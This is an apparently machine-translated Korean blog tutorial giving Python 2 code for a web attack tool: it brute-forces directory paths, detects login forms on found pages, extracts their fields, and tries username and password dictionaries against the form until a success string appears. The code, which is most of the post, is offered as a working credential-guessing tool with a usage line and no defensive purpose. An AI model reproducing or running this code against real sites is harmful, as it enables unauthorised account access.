python 경로 해독 폼의 예시

우선python을 이용하여 경로를 훑어보고 사전 폭파의 형식을 사용한다. 물론 단순한 폭파 경로라면 간단하게 다중 스레드 스크립트를 쓰면 된다.여기서 폭파된 경로를 어떻게 두 번째 단계로 이용하는지 고려하고 추측된 경로를 표 발견과 로그인 폭파 처리를 시도합니다.
먼저 경로 폭파로 다중 스레드 대기열, 폭파 경로를 사용하고 판단 형식은 200 응답 코드이다.

    while not self._queue.empty():
      queue = self._queue.get(timeout=0.5)
      try:
        r = requests.get(self.url+queue,timeout=5, headers=self.headers)
        if r.status_code == 200:
          print "[200] %s" %(queue)
          soup = BeautifulSoup(r.content,'html.parser')
          if soup.find('form'):
            self.brute(soup, queue)
경로를 알아맞힌 후brute 방법으로 처리합니다. 방법은 css 선택기를 실현하여form 폼의 input 필드 탭을 가져오고 탭 파라미터를 추출하여post 파라미터 값으로 조합한 다음에 폼의 action 점프 페이지를 추출합니다. 만약에 페이지가 없으면 현재 폼 페이지에서 기본적으로 제출합니다.

input = soup.select("form input")
      for i in input:
        try:
          if i.attrs['type'] == "hidden":
            name, value = i.attrs['name'], i.attrs['value']
            list_post.append(name+'='+value)
          elif i.attrs['type'] == 'password':
            name = i.attrs['name']
            list_post.append(name+'=$$$')
          else:
            name = i.attrs['name']
            list_post.append(name+'=%%%')
        except:
          continue
      for i in list_post:
        post = post + i + '&'
      action = soup.find_all('form')
      for i in action:
        if i['action']:
          actiontag = i['action']
        else:
          actiontag = queue
      self.payload(post, actiontag)
매개 변수 값을 가져오면payload 방법으로 로그인을 처리하고requests 라이브러리의session으로 로그인합니다.쿠키를 가져오려면 세션을 사용하여 쿠키를 요청한 다음, 세션을 사용하여 쿠키를 가지고 요청을 제출합니다.그리고 입력한 검증 값에 대해 로그인 성공 여부를 판단한다.

    for name in self.username():
      post_user = post.replace('%%%',name.strip())
      for pwd in self.password():
        post_pwd = post_user.replace('$$$',pwd.strip())
        session = requests.Session()
        session.get(self.url+'/'+action, headers=self.headers, verify=False)
        r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False)
        if self.word in r.content:
          print '[username] %s' %name +'\r' + '[password] %s' %pwd
          return
로그인 성공 여부를 판단하기 위해 인위적으로 판단 문자열을 입력하는 형식을 사용합니다.스크립트 실행 형식은

python xxx.py http://xxxx.com xxxxx
이상은python 경로 해독 폼의 예시에 대한 상세한 내용입니다. 더 많은python 해독 폼에 대한 자료는 저희 다른 관련 글에 주목하세요!

좋은 웹페이지 즐겨찾기